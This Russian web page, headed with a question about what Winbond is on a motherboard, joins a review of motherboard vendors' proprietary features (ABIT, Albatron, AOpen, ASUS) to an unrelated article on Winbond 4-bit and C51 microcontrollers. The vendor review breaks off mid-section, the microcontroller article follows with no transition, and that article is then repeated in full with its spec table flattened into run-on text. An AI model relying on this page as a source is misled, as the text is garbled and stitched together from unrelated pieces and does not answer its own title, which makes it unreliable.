Winbond на материнской плате что это
Вы уже знаете что такое EZ Flash, LogoEasy, Smart FAN? Еще не успели запутаться в моногочисленных технологиях, которыми производители материнских плат снабжают свою продукцию? Эта статья позволит наиболее полно ответить на все эти вопросы.
Давно уже прошли те времена, когда материнские платы от различных производителей можно было отличить только по маркировке — настолько стандартными были и комплектующие, и дизайн, и BIOS. Сейчас, когда конкуренция в этом сегменте рынка обострилась до предела, избалованного покупателя уже не может удовлетворить просто добротно сделанная, быстрая и надежная плата — нет, кроме всего этого, подавай ему еще и какую-нибудь изюминку, такую фичу, которой нет больше ни у кого. И вендоры расстарались. Сегодня все без исключения ведущие производители системных плат оснащают их самыми различными фирменными техническими решениями, подчеркивающими их индивидуальность. Да и среди производителей второго и даже третьего эшелонов также четко просматривается желание в максимальной степени насытить свою продукцию фирменными технологиями. А те немногие компании, которые по каким либо причинам пренебрегали данной тенденцией, влачат сейчас жалкое существование (или вообще исчезли с рынка).
Все множество спецтехнологий, используемых производителями в системных платах, можно сгруппировать в 4 основные категории: улучшение показателей надежности системы, повышение производительности системы и разгон, мониторинг и диагностика и повышение уровня удобства работы.
Технологии производителей материнских плат.
В данном обзоре будут рассмотрены наиболее интересные технологии и утилиты, предложенные ведущими производителями материнских плат.
ABIT
Компания ABIT первой в индустрии предложила систему безджамперной конфигурации материнских плат SoftMenu (в настоящее время — SoftMenu III), включающую в себя большой набор настроек таймингов памяти, частоты FSB и рабочих напряжений (Vcore, Vmem и т.д.) через BIOS, и позволяющую без особых усилий увеличить производительность и разогнать систему, не открывая корпус компьютера. При этом пользователю предоставлена возможность выбора: или самостоятельно выставить сколь угодно агрессивные значения системных настроек, или положиться в этом деле на искусственный интеллект SoftMenu III.
Но в современных условиях почивать на лаврах очень опасно — не заметишь, как окажешься в аутсайдерах. Поэтому инженеры ABIT не прекращают процесс создания новых средств для так любимого ими оверклокинга. В результате самые продвинутые платы фирмы не так давно получили на вооружение комплексную технологию разгона ABIT Engineered.
Комплкес ABIT Engineered включает в себя, помимо SoftMenu III, систему понижения шума процессорного кулера FanEQ, регулирующую скорость вращения вентилятора в зависимости от температуры и, следовательно, от загрузки. Если же, несмотря на максимальную скорость вращения вентиляторов, кулер не справится с охлаждением перегревшегося процессора и его температура достигнет критической, в дело вступит система CPU ThermalGuard, автоматически выключающая компьютер и спасающая его от выхода из строя. Нельзя не упомянуть технологию CPU H.T.P. (CPU Hardware Thermal Protection) для процессоров AMD, обеспечивающую аппаратную защиту от перегрева с использованием встроенного в их ядро термодатчика.
Если переразогнанный компьютер зависнет, то система TweakGuard автоматически сбросит все настройки BIOS в исходное положение. Также стоит отметить еще и систему MaxFID, позволяющую более эффективно разгонять процессоры AMD, имеющие, как известно, незаблокированный коэффициент умножения частоты FSB. Размер регистра FID, отвечающего за него, был расширен на один бит (до пяти), так что теперь стали доступны еще 16 дополнительных значений коэффициента умножения.
Оригинальную технологию повышения производительности (аналогично включению режима РАТ) на системных платах, построенных на новых чипсетах Intel i865 и i875P, компания ABIT назвала Game Accelerator. Game Accelerator предлагает выбрать один из четырех режимов «Auto», «Turbo», «Street racer» и «F1», позволяющих оптимизировать системную производительность в зависимости от используемых модулей памяти. Каждый из этих режимов изменяет такие важные параметры подсистемы памяти как Refresh Cycle Time, Read Delay (tRD), Read Delay Adjust (tRDA) и Command Per Clock (CPC). Так, настройка Turbo работает практически с любыми модулями памяти, Street Racer требует относительно качественных модулей, а F1 может оказаться полезным только владельцам отборной DDR SDRAM.
Контролер Secure IDE.
Помимо программных наработок, в комплект плат с ABIT Engineered входит панель Media XP, позволяющая вывести на фронтальную сторону корпуса разъемы USB 2.0, Firewire IEEE1394, SPDIF out, подключать микрофон/наушники, а также укомплектованную кардридером. Еще одно полезное устройство — переходник Serillel2 (от слов Serial и Parallel), позволяющий подключать обычные ATA-100/133 винчестеры (и другие ATA-устройства) к портам Serial ATA на плате.
Особое место в ряду технологических новинок ABIT занимает дополнительный контролер Secure IDE, предназначенный для шифрования (по алгоритму DES с 40-битным ключом) данных, проходящих сквозь него. Secure IDE работает в реальном времени (пропускная способность — до 1,1 Гбайт в секунду) и совместим только лишь с интерфейсом Parallel ATA, что вызвано особенностями реализации алгоритма DES.
Конструктивно Secure IDE представляет собой карту, подключаемую с одной стороны к жесткому диску, а с другой – к материнской плате. Аппаратный ключ присоединяется через специальный шнур, который выводится наружу корпуса. Если при загрузке компьютера ключ установлен, Secure IDE начинает расшифровывать данные на жестком диске и выполняет эту операцию до следующей перезагрузки системы. Если же при старте компьютера ключа нет, то жесткий диск остается недоступен. Главное достоинство Secure IDE в том, что он надежнее любых программных решений, поскольку в данном случае шифруется весь диск полностью, включая boot-сектор и служебную информацию.
Одной из отличительных особенностей последних моделей системных плат ABIT стало использование в них уникальной системы охлаждения OTES (Outside Thermal Exhaust System). Система эта предназначена для охлаждения компонентов, входящих в схему питания процессора. Соответствующий блок на плате закрыт пластиковым кожухом, идущим к задней стенке платы, где имеется вентилятор, обеспечивающий циркуляцию и выброс нагретого воздуха за пределы корпуса. Система охлаждения OTES, возможности которой явно выходят за рамки требований сегодняшнего дня, может оказаться востребованной после появления в первом квартале будущего года новых процессоров Intel Pentium 4 на ядре Prescott, отличающихся высоким энергопотреблением.
Плата ABIT IC7-MAX3 c системой охлаждения OTES.
Albatron
Компания Albatron совсем недавно присоединилась к славной когорте производителей материнских плат, и, благодаря высокому качеству и хорошим оверклокерским возможностям своих изделий при их относительно невысокой цене, сразу стала популярной.
Вот каков набор фирменных технологий:
• OTP (Over Temperature Protection) — аппаратная система термозащиты процессоров Athlon XP;
• Watchdog Timer — обеспечивает откат установок BIOS к последнему стабильному состоянию при зависании системы при загрузке;
• BIOS Mirror — установленная на плате вторая панелька для резервной микросхемы Flash EEPROM, с помощью которой можно восстановить BIOS при повреждении основной копии;
• Voice Genie — система голосовой диагностики, оповещающая пользователя на английском, японском, китайском или немецком языках при возникновении каких-либо проблем во время загрузки системы.
AOpen
Компания AOpen также уделяет большое внимание фирменным технологиям на своих платах. Правда, в отличие от своих конкурентов, инженеры компании больше внимания уделяют тем технологиям, которые повышают удобство использования их продуктов.
В полной мере это относится к системе голосовой диагностики Dr. Voice, суть которой заключается в том, что, в случае возникновения каких-либо проблем на этапе POST, плата сообщает приятным женским голосом, в чем именно заключается суть данной проблемы. При этом вывод звука возможен как через установленный на плате динамик, так и через внешние колонки, подключаемые обычным образом к звуковой плате. Еще одна технология — SilentTek, как несложно догадаться из названия, призвана уменьшить шум, исходящий от системы охлаждения процессора. Для ее правильного функционирования необходима специальная программа SilentPC (которая, разумеется, прилагается на идущем в комплекте с материнской платой компакт-диске).
Даже BIOS на платах AOpen теперь уже не простой. EZWinFlash совмещает в себе бинарный код BIOS и модуль обновления, обеспечивающий автоматизацию процесса его обновления непосредственно из Windows. Хорошо дополняет EZWinFlash утилита WinBIOS, позволяющая не только настраивать параметры BIOS в среде Windows, но и предоставляющая подробную информацию по каждому из пунктов меню BIOS. Еще одним плюсом является ее мультиязычность, причем языковые модули для утилиты доступны для скачивания на официальном сайте AOpen.
Не менее дружественный интерфейс имеет и утилита EzClock, которая позволяет осуществлять мониторинг и тонкую настройку основных параметров системы: напряжения, множителя и частоты процессорной шины, а также основные параметры шин AGP, PCI и памяти непосредственно в среде Windows. Дополнительное удобство использования данной утилиты в том, что все изменения параметров BIOS вступают в силу немедленно, без перезагрузки системы.
Технология аварийного восстановления системы при возможных сбоях EzRestore является совместной разработкой компаний AOpen и Wasay. Она реализуется в BIOS материнской платы и позволяет сохранить в спецразделе жесткого диска образы важнейших системных файлов. Для восстановления рухнувшей системы используется специальная утилита ProMagic, загружаемая в память компьютера непосредственно перед загрузкой самой ОС.
Последняя из серьезных фирменных технологий AOpen — DieHard BIOS заключается, по сути дела, в установке на плату второй микросхемы с содержащейся в ней резервной копией BIOS. Изюминка же последней версии DieHard BIOS II заключается в том, что эта микросхема, также как и та, что содержит рабочую копию BIOS-а, является перезаписываемой.
Но наибольшее впечатление на меня произвел встроенный проигрыватель компакт-дисков Open JukeBox. Он позволяет проигрывать музыкальные компакт-диски без загрузки ОС. Open JukeBox поддерживает скины, которые скоро можно менять с помощью утилиты EzSkin. А найти их можно все на том же сайте AOpen или даже сделать свои собственные.
ASUS
С выпуском компанией Intel новой серии чипсетов семейства i865 для процессоров Pentium 4, поднялась изрядная суматоха с технологией PAT, являющейся прерогативой более дорогого набора логики i875P. Суть этой технологии состоит в использовании более короткого конвейера при работе с DDR400 памятью в синхронном режиме при частоте FSB 200 МГц. Все дело в том, что на этой частоте, в отличие от FSB 133 МГц, чипсет работает не всегда стабильно. Компания Intel решила эту проблему достаточно оригинально и полностью в своем духе — для высококачественных чипсетов i875P отбираются самые стабильные чипы, а более дешевые i865 просто используют дополнительные синхронизирующие буферные регистры, обеспечивающие пусть и более длинный, зато надежный путь работы с памятью. Возможность i875P работать на высоких частотах в обычном режиме, в обход дополнительных буферов, экономя при каждом обращении к памяти по 2 такта, и есть та самая пресловутая технология РАТ.
Таким образом, если при работе с FSB 200 МГц каким-либо образом заставить чипсет i865 думать, что процессор по-прежнему работает на частоте шины 533 МГц, то он будет работать с такой же скоростью, как и более дорогой i875P. Первой до такого трюка додумалась именно компания ASUS, предложив технологию HyperPath, однако вслед за ней очень скоро подтянулись и другие производители материнских плат.
Технология C.O.P. (CPU Overheating Protection) разработана специально для материнских плат, предназначенных для процессоров AMD, и позволяет предотвратить их выход из строя при любых сбоях системы охлаждения.
C.P.R. (CPU Parameter Recall — восстановление настроек процессора) позволяет минимизировать отрицательные последствия переразгона процессора, автоматически восстанавливая первоначальные настройки BIOS.
Традиционный процесс обновления BIOS из DOS бывает достаточно сложным для не самых подготовленных пользователей, поэтому не могла не появиться функция быстрого доступа к BIOS под названием EZ Flash, являющаяся частью микропрограммы BIOS и позволяющая легко входить в BIOS и обновлять микропрограмму прямо через меню его настройки, простым нажатием кнопки, без помощи загрузочных дискет и утилит прошивки ПЗУ.
Для тех, кому надоело каждый раз, включая компьютер, лицезреть один и тот же загрузочный логотип, компания ASUS предложила технологию MyLogo, загружающую любой рисунок из Windows в программируемое ПЗУ BIOS, позволяя быстро и без проблем украсить компьютер. В настоящее время существуют две версии данной функции: MyLogo и MyLogo2: первая из них позволяет использовать только 16-цветные изображения, тогда как в MyLogo2 число поддерживаемых цветов увеличено до 256.
Программа Instant Music, прошитая в BIOS, представляет собой проигрыватель CD дисков и, по аналогии с Open JukeBox, позволяет прослушивать компакт-диски, не загружая какую-либо операционную систему. В комплект плат, оснащенных системой Instant Music включается набор специальных наклеек для стандартной клавиатуры с изображением управляющих символов.
Младшие в линейке микроконтроллеров Winbond семейства W541 и W741 включают в себя 4-разрядные микроконтроллеры с развитой системой команд и пониженным энергопотреблением. Некоторые из приборов, представленных в семействах, способны управлять ЖК-индикатором. Обобщенные характеристики 4-разрядных микроконтроллеров представлены в таблице 1.
Тип | Память | Драйвер ЖКИ | Кол-во ножек ввода/ вывода | Тактовая частота макс., МГц | Диапазон рабочих температур, °С | Диапазон рабочих напряжений, В | Потребляемый ток, мкА (при работе от кварца 32768 Гц) | Корпус | |
ОЗУ | Память программ | ||||||||
W541C20x | 128x4 | 2048x16 | - | до 21 | 4 | 0-70 | 2,4-5,5 | 8 | PDIP, SOP |
W541C240 | 24x4 | 2048x16 | 24x4 | 13 | 1 | 0-70 | 2,4-5,5 | 8 | QFP64 |
W541C250 | 128x4+24x4 | 2048x16 | 24x4 | 21 | 4 | 0-70 | 2,4-5,5 | 8 | QFP64 |
W541C260 | 128x4+32x4 | 2048x16 | 32x4 | 21 | 4 | 0-70 | 2,4-5,5 | 600 (4 МГц) | QFP80 |
W541E20x | 128x4 | 2048x16 EEPROM | - | 21 | 4 | 0-70 | 2,4-5,5 | 8,5 | PDIP, SOP |
W541E260 | 128x4+32x4 | 2048x16 EEPROM | 32x4 | 21 | 4 | 0-70 | 2,4-5,5 | 600 (4 МГц) | QFP80 |
W541L20x | 128x4 | 2048x16 | - | 21 | 1 | 0-70 | 1,2-1,8 | 4 | PDIP, SOP |
W541L240 | 128x4+24x4 | 2048x16 | 24x4 | 13 | 1 | 0-70 | 1,2-1,8 | 4 | QFP64 |
W541L250 | 128x4+24x4 | 2048x16 | 24x4 | 21 | 1 | 0-70 | 1,2-1,8 | 4 | QFP64 |
W541L260 | 128x4+32x4 | 2048x16 | 32x4 | 21 | 1 | 0-70 | 1,2-1,8 | 8,5 | QFP80 |
W741E20X | 128x4 | 2048x16 EEPROM | - | до 21 | 4 | 0-70 | 2,4-5,5 | 8,5 | PDIP, SOP |
W741E260 | 128x4+32x4 | 2048x16 EEPROM | 32x4 | 21 | 4 | 0-70 | 2,4-5,5 | 600 (4,19 МГц) | QFP80 |
Рис. 1. Структура 4-разрядного микроконтроллера W741E260 компании Winbond
Winbond предлагает три варианта таких устройств: базовую серию W541C2xx с однократно программируемой памятью программ, семейство W541E2xx c флэш-памятью программ и семейство W541L2x, ориентированное на работу при пониженном напряжении питания (1,2 - 1,8 В).
Поскольку разработчику удобнее работать с перепрограммируемыми кристаллами, рассмотреть особенности 4-х разрядных микроконтроллеров Winbond лучше всего на примере семейства W541E2xx.
- рабочее напряжение 2,4 - 5,5 В;
- возможность работы от кварцевого (керамического) резонатора или от RC-генератора на частоте до 4 МГц, задаваемая программно;
- возможность программного выбора режима работы: на высокой (400 кГц - 4 МГц) или на низкой (32768 Гц) частоте;
- флэш-память программ с организацией 2048 16 (включая таблицу хранения констант 2К 4 бита, к которой можно обращаться из программы пользователя);
- ОЗУ с организацией 128 4 (включая 16 рабочих регистров);
- до 21 ножки ввода/вывода (в зависимости от конкретного типа микроконтроллера):
- отсутствие "плавающего" потенциала на ножках, сконфигурированных на ввод или вывод с открытым стоком (NMOS тип);
- 4 порта ввода/вывода (всего 16 ножек);
- последовательный порт ввода/вывода - 1 порт/4 вывода (высокий вытекающий ток для управления светодиодами);
- ножка выхода MFP (вывод модуляции частоты);
Память программ 4-разрядных микроконтроллеров Winbond делится на четыре части, первые три из которых (000H-5FFH) используются только для хранения программного кода, а последняя часть (600H-7FFH) может содержать как код программы, так и таблицу констант. Каждый элемент этой таблицы состоит из 4 бит, что делает возможным адресацию к 2048 её элементам. Благодаря этому пользователь может легко считывать данные из таблицы в ОЗУ, задавая адрес элемента в регистре TAB.
Следует отметить, что последовательный порт, реализованный в 4-разрядных микроконтроллерах Winbond, не имеет ничего общего с UART или SPI. Он представляет собой 2 линии вывода (данные и тактирование) и 2 линии ввода (также данные и тактирование). Процесс передачи и приема информации осуществляется исключительно программными средствами.
4-разрядное АЛУ микроконтроллеров поддерживает следующие команды:
- логические операции: ANL, XRL, ORL;
- операции ветвления: JB0-JB3, JNZ, JZ, JC, JNC, DSKZ, DSKNZ, SKB0-SKB3;
- операции сдвига: SHRC, RRC, SHLC, RLC;
- двоичное сложение/вычитание: ADC, SBC, ADD, SUB, ADU, DEC, INC.
Микроконтроллеры с флэш-памятью позволяют программировать, стирать и проверять программную память через выводы VPP (питание для программирования), Vdd (питание кристалла), MODE (режим), DATA (данные) и Vss (общий).
Для совмещения функций сбора, обработки и вывода данных на ЖКИ фирмой Winbond предлагаются контроллеры с интегрированным драйвером ЖКИ на 24?4 или 32?4 линии. Особенности драйвера ЖКИ можно рассмотреть на примере W741E260 (рис.1). Этот контроллер выпускается в 80-выводном корпусе QFP и имеет выходной драйвер для непосредственного управления ЖКИ со следующими характеристиками:
- 32 сегмента на 4 общие линии;
- возможность выбора статического режима, режима 1/2 (смещение 1/2), режима 1/3 (смещение 1/2 или 1/3) и режима 1/4 (смещение 1/3);
- выводы управления ЖКИ могут быть использованы как порты вывода;
- источником тактирования может быть как главный осциллятор в режиме работы с одним осциллятором, так и вспомогательный осциллятор;
- дополнительное к основному вспомогательное ОЗУ для ЖКИ с организацией 32x4; данные из этого ОЗУ автоматически передаются на выводы управления сегментами без дополнительного программного управления.
- максимальное число управляемых сегментов в режиме 1/3 bias и 1/4 duty равно 128.
В приложениях с батарейным питанием удобно использовать специальное семейство микроконтроллеров W541L2xx, ориентированное на работу при низком напряжении питания от 1,2 до 1,8 В. За исключением этой особенности и отсутствием кристаллов с перепрограммируемой памятью программ, эти устройства полностью аналогичны описанным выше.
Семейство однокристальных микроконтроллеров MCS-51R было представлено фирмой Intel на рынке в начале 80-х гг. и к настоящему времени давно является промышленным стандартом, поддерживаемым множеством производителей. Поскольку разработчиками накоплен огромный опыт работы с микроконтроллерами С51, в настоящее время выпускается обширная номенклатура C51 микроконтроллеров, ориентированных на использование в различных сферах:
- Системы управления процессами в промышленных приложениях;
- Контроллеры управления и разграничения доступа в зданиях;
- Промышленное оборудование;
- Ручные измерительные системы.
Одним из лидеров на рынке С51-микроконтроллеров является компания Winbond, предлагающая изделия с большим разнообразием специфических характеристик, удовлетворяющих многим потребностям современных приложений. По реализованным возможностям С51-микроконтроллеры Winbond можно разделить на три группы:
В основе стандартных C51-микроконтроллеров Winbond лежит ядро 8052. Версии этих контроллеров с флэш-памятью помимо памяти приложений содержат до 4 кБ дополнительной памяти EPROM ROM для программы-загрузчика. Это позволяет легко реализовать программирование устройства в системе. Базовые возможности стандартных микроконтроллеров можно оценить на примере W78E516B:
- тактовая рабочая частота до 40 МГц;
- 64 кБ флэш-памяти программ;
- 4 кБ дополнительной Flash EPROM для программы-загрузчика;
- 512 байт ОЗУ (включая 256 байт дополнительного ОЗУ);
- 4 восьмиразрядных двунаправленных порта ввода/вывода;
- один 4-разрядный универсальный программируемый порт;
- три 16-разрядных таймера/счетчика;
- один полнодуплексный последовательный порт;
- двухуровневая система прерываний с шестью источниками;
- встроенная система управления энергопотреблением;
- защита программного кода;
- корпуса DIP40, PLCC44, PQFP44.
Быстродействующие микроконтроллеры Winbond
Для повышения быстродействия С51-кристаллов фирма Winbond разработала собственный вариант процессорного ядра, полностью совместимого по системе команд с MCS-51. В результате удалось достигнуть повышения производительности в 1,5-3 раза, в сравнении с традиционным ядром 8051, в зависимости от выполняемой команды. В целом общая производительность возросла примерно в 2,5 раза на одинаковых с 8051 тактовых частотах. Благодаря этому оказалось возможным снизить энергопотребление за счет на работы на более низких частотах тактирования ядра при одинаковом уровне производительности с 8051. Максимальная тактовая частота большинства представителей семейства достигает 40 МГц. В настоящее время доступно более десятка вариантов быстродействующих C51-микроконтроллеров от Winbond, различающихся типом и объемом встроенной памяти программ, а также наличием специальных функций (ШИМ (W79E532A), дополнительный последовательный порт, дополнительные порты ввода/вывода (W77E468F) и пр.).
Микроконтроллеры для специальных применений
Для удовлетворения специфических потребностей разработчиков Winbond производит несколько специализированных микросхем на основе С51-ядра, позволяющих в ряде случаев существенно упростить готовое устройство, повысить его надежность и снизить стоимость.
Например, микроконтроллеры W78x37x, представляя собой завершенные контроллеры монитора, имеют следующие характеристики:
Доступна также версия этого микроконтроллера с перепрограммируемой памятью программ (W78E374).
Развитыми периферийными возможностями обладает кристалл W78C438C. Он функционально совместим со стандартным контроллером W78C32, но дополнительно имеет возможность адресации 64 кБ памяти программ и 1 МБ памяти данных, пять портов ввода/вывода общего назначения и четыре внешних прерывания. Контроллер не имеет собственной программной памяти и выпускается в корпусах PLCC84 и PQFP100.
Интересные особенности реализованы в контроллерах W78x801. Они работают при пониженном потребляемом токе в диапазоне тактовых частот от 0 до 40 МГц (кроме W78L801 - у него максимум 24 МГц), имеют 8 внешних источников прерывания для выхода из режимов энергосбережения и режим понижения электромагнитных излучений. Версия W78L801, помимо прочего, работает при напряжении питания от 1,8 до 5,5 В.
Средства разработки и отладки
Для внутрисхемного программирования (ISP) микроконтроллеров Winbond c флэш-памятью программ можно воспользоваться бесплатной утилитой ISP Writer, доступной на сайте компании. В документации на неё подробно описаны процедура программирования и необходимые для её выполнения аппаратные средства. Утилита ориентирована на работу под управлением операционной системы Windows и позволяет перепрограммировать микроконтроллер через RS-232 интерфейс с помощью простого адаптера на основе интерфейсного драйвера MAX232. Перед использованием утилиты в микроконтроллер с помощью стандартного программатора однократно должен быть записан bin-файл загрузчика, под управлением которого впоследствии будет выполняться внутрисхемное программирование. Файл загрузчика входит в состав пакета утилиты ISP Writer.
При разработке программного обеспечения для микроконтроллеров Winbond можно использовать средства разработки для С-51 микроконтроллеров, поставляемые большим числом производителей программного обеспечения. Многие из них в настоящее время предлагают программное обеспечение либо совсем бесплатно (к примеру, симулятор PDS-52 компании Phyton), либо с небольшими ограничениями на объем генерируемого программного кода. На сайте фирмы Winbond приводится обширный перечень рекомендуемых поставщиков средств поддержки для производимых ею микроконтроллеров.
Младшие в линейке микроконтроллеров Winbond семейства W541 и W741 включают в себя 4-разрядные микроконтроллеры с развитой системой команд и пониженным энергопотреблением. Некоторые из приборов, представленных в семействах, способны управлять ЖК-индикатором. Обобщенные характеристики 4-разрядных микроконтроллеров представлены в таблице 1.
Тип Память Драйвер ЖКИ Кол-во ножек ввода/ вывода Тактовая частота макс., МГц Диапазон рабочих температур, °С Диапазон рабочих напряжений, В Потребляемый ток, мкА (при работе от кварца 32768 Гц) Корпус ОЗУ Память программ W541C20x 128x4 2048x16 - до 21 4 0-70 2,4-5,5 8 PDIP, SOP W541C240 24x4 2048x16 24x4 13 1 0-70 2,4-5,5 8 QFP64 W541C250 128x4+24x4 2048x16 24x4 21 4 0-70 2,4-5,5 8 QFP64 W541C260 128x4+32x4 2048x16 32x4 21 4 0-70 2,4-5,5 600 (4 МГц) QFP80 W541E20x 128x4 2048x16 EEPROM - 21 4 0-70 2,4-5,5 8,5 PDIP, SOP W541E260 128x4+32x4 2048x16 EEPROM 32x4 21 4 0-70 2,4-5,5 600 (4 МГц) QFP80 W541L20x 128x4 2048x16 - 21 1 0-70 1,2-1,8 4 PDIP, SOP W541L240 128x4+24x4 2048x16 24x4 13 1 0-70 1,2-1,8 4 QFP64 W541L250 128x4+24x4 2048x16 24x4 21 1 0-70 1,2-1,8 4 QFP64 W541L260 128x4+32x4 2048x16 32x4 21 1 0-70 1,2-1,8 8,5 QFP80 W741E20X 128x4 2048x16 EEPROM - до 21 4 0-70 2,4-5,5 8,5 PDIP, SOP W741E260 128x4+32x4 2048x16 EEPROM 32x4 21 4 0-70 2,4-5,5 600 (4,19 МГц) QFP80 Рис. 1. Структура 4-разрядного микроконтроллера W741E260 компании Winbond
Winbond предлагает три варианта таких устройств: базовую серию W541C2xx с однократно программируемой памятью программ, семейство W541E2xx c флэш-памятью программ и семейство W541L2x, ориентированное на работу при пониженном напряжении питания (1,2 - 1,8 В).
Поскольку разработчику удобнее работать с перепрограммируемыми кристаллами, рассмотреть особенности 4-х разрядных микроконтроллеров Winbond лучше всего на примере семейства W541E2xx.
- рабочее напряжение 2,4 - 5,5 В;
- возможность работы от кварцевого (керамического) резонатора или от RC-генератора на частоте до 4 МГц, задаваемая программно;
- возможность программного выбора режима работы: на высокой (400 кГц - 4 МГц) или на низкой (32768 Гц) частоте;
- флэш-память программ с организацией 2048 16 (включая таблицу хранения констант 2К 4 бита, к которой можно обращаться из программы пользователя);
- ОЗУ с организацией 128 4 (включая 16 рабочих регистров);
- до 21 ножки ввода/вывода (в зависимости от конкретного типа микроконтроллера):
- отсутствие "плавающего" потенциала на ножках, сконфигурированных на ввод или вывод с открытым стоком (NMOS тип);
- 4 порта ввода/вывода (всего 16 ножек);
- последовательный порт ввода/вывода - 1 порт/4 вывода (высокий вытекающий ток для управления светодиодами);
- ножка выхода MFP (вывод модуляции частоты);
Память программ 4-разрядных микроконтроллеров Winbond делится на четыре части, первые три из которых (000H-5FFH) используются только для хранения программного кода, а последняя часть (600H-7FFH) может содержать как код программы, так и таблицу констант. Каждый элемент этой таблицы состоит из 4 бит, что делает возможным адресацию к 2048 её элементам. Благодаря этому пользователь может легко считывать данные из таблицы в ОЗУ, задавая адрес элемента в регистре TAB.
Следует отметить, что последовательный порт, реализованный в 4-разрядных микроконтроллерах Winbond, не имеет ничего общего с UART или SPI. Он представляет собой 2 линии вывода (данные и тактирование) и 2 линии ввода (также данные и тактирование). Процесс передачи и приема информации осуществляется исключительно программными средствами.
4-разрядное АЛУ микроконтроллеров поддерживает следующие команды:
- логические операции: ANL, XRL, ORL;
- операции ветвления: JB0-JB3, JNZ, JZ, JC, JNC, DSKZ, DSKNZ, SKB0-SKB3;
- операции сдвига: SHRC, RRC, SHLC, RLC;
- двоичное сложение/вычитание: ADC, SBC, ADD, SUB, ADU, DEC, INC.
Микроконтроллеры с флэш-памятью позволяют программировать, стирать и проверять программную память через выводы VPP (питание для программирования), Vdd (питание кристалла), MODE (режим), DATA (данные) и Vss (общий).
Для совмещения функций сбора, обработки и вывода данных на ЖКИ фирмой Winbond предлагаются контроллеры с интегрированным драйвером ЖКИ на 24?4 или 32?4 линии. Особенности драйвера ЖКИ можно рассмотреть на примере W741E260 (рис.1). Этот контроллер выпускается в 80-выводном корпусе QFP и имеет выходной драйвер для непосредственного управления ЖКИ со следующими характеристиками:
- 32 сегмента на 4 общие линии;
- возможность выбора статического режима, режима 1/2 (смещение 1/2), режима 1/3 (смещение 1/2 или 1/3) и режима 1/4 (смещение 1/3);
- выводы управления ЖКИ могут быть использованы как порты вывода;
- источником тактирования может быть как главный осциллятор в режиме работы с одним осциллятором, так и вспомогательный осциллятор;
- дополнительное к основному вспомогательное ОЗУ для ЖКИ с организацией 32x4; данные из этого ОЗУ автоматически передаются на выводы управления сегментами без дополнительного программного управления.
- максимальное число управляемых сегментов в режиме 1/3 bias и 1/4 duty равно 128.
В приложениях с батарейным питанием удобно использовать специальное семейство микроконтроллеров W541L2xx, ориентированное на работу при низком напряжении питания от 1,2 до 1,8 В. За исключением этой особенности и отсутствием кристаллов с перепрограммируемой памятью программ, эти устройства полностью аналогичны описанным выше.
Семейство однокристальных микроконтроллеров MCS-51R было представлено фирмой Intel на рынке в начале 80-х гг. и к настоящему времени давно является промышленным стандартом, поддерживаемым множеством производителей. Поскольку разработчиками накоплен огромный опыт работы с микроконтроллерами С51, в настоящее время выпускается обширная номенклатура C51 микроконтроллеров, ориентированных на использование в различных сферах:
- Системы управления процессами в промышленных приложениях;
- Контроллеры управления и разграничения доступа в зданиях;
- Промышленное оборудование;
- Ручные измерительные системы.
Одним из лидеров на рынке С51-микроконтроллеров является компания Winbond, предлагающая изделия с большим разнообразием специфических характеристик, удовлетворяющих многим потребностям современных приложений. По реализованным возможностям С51-микроконтроллеры Winbond можно разделить на три группы:
В основе стандартных C51-микроконтроллеров Winbond лежит ядро 8052. Версии этих контроллеров с флэш-памятью помимо памяти приложений содержат до 4 кБ дополнительной памяти EPROM ROM для программы-загрузчика. Это позволяет легко реализовать программирование устройства в системе. Базовые возможности стандартных микроконтроллеров можно оценить на примере W78E516B:
- тактовая рабочая частота до 40 МГц;
- 64 кБ флэш-памяти программ;
- 4 кБ дополнительной Flash EPROM для программы-загрузчика;
- 512 байт ОЗУ (включая 256 байт дополнительного ОЗУ);
- 4 восьмиразрядных двунаправленных порта ввода/вывода;
- один 4-разрядный универсальный программируемый порт;
- три 16-разрядных таймера/счетчика;
- один полнодуплексный последовательный порт;
- двухуровневая система прерываний с шестью источниками;
- встроенная система управления энергопотреблением;
- защита программного кода;
- корпуса DIP40, PLCC44, PQFP44.
Быстродействующие микроконтроллеры Winbond
Для повышения быстродействия С51-кристаллов фирма Winbond разработала собственный вариант процессорного ядра, полностью совместимого по системе команд с MCS-51. В результате удалось достигнуть повышения производительности в 1,5-3 раза, в сравнении с традиционным ядром 8051, в зависимости от выполняемой команды. В целом общая производительность возросла примерно в 2,5 раза на одинаковых с 8051 тактовых частотах. Благодаря этому оказалось возможным снизить энергопотребление за счет на работы на более низких частотах тактирования ядра при одинаковом уровне производительности с 8051. Максимальная тактовая частота большинства представителей семейства достигает 40 МГц. В настоящее время доступно более десятка вариантов быстродействующих C51-микроконтроллеров от Winbond, различающихся типом и объемом встроенной памяти программ, а также наличием специальных функций (ШИМ (W79E532A), дополнительный последовательный порт, дополнительные порты ввода/вывода (W77E468F) и пр.).
Микроконтроллеры для специальных применений
Для удовлетворения специфических потребностей разработчиков Winbond производит несколько специализированных микросхем на основе С51-ядра, позволяющих в ряде случаев существенно упростить готовое устройство, повысить его надежность и снизить стоимость.
Например, микроконтроллеры W78x37x, представляя собой завершенные контроллеры монитора, имеют следующие характеристики:
Доступна также версия этого микроконтроллера с перепрограммируемой памятью программ (W78E374).
Развитыми периферийными возможностями обладает кристалл W78C438C. Он функционально совместим со стандартным контроллером W78C32, но дополнительно имеет возможность адресации 64 кБ памяти программ и 1 МБ памяти данных, пять портов ввода/вывода общего назначения и четыре внешних прерывания. Контроллер не имеет собственной программной памяти и выпускается в корпусах PLCC84 и PQFP100.
Интересные особенности реализованы в контроллерах W78x801. Они работают при пониженном потребляемом токе в диапазоне тактовых частот от 0 до 40 МГц (кроме W78L801 - у него максимум 24 МГц), имеют 8 внешних источников прерывания для выхода из режимов энергосбережения и режим понижения электромагнитных излучений. Версия W78L801, помимо прочего, работает при напряжении питания от 1,8 до 5,5 В.
Средства разработки и отладки
Для внутрисхемного программирования (ISP) микроконтроллеров Winbond c флэш-памятью программ можно воспользоваться бесплатной утилитой ISP Writer, доступной на сайте компании. В документации на неё подробно описаны процедура программирования и необходимые для её выполнения аппаратные средства. Утилита ориентирована на работу под управлением операционной системы Windows и позволяет перепрограммировать микроконтроллер через RS-232 интерфейс с помощью простого адаптера на основе интерфейсного драйвера MAX232. Перед использованием утилиты в микроконтроллер с помощью стандартного программатора однократно должен быть записан bin-файл загрузчика, под управлением которого впоследствии будет выполняться внутрисхемное программирование. Файл загрузчика входит в состав пакета утилиты ISP Writer.
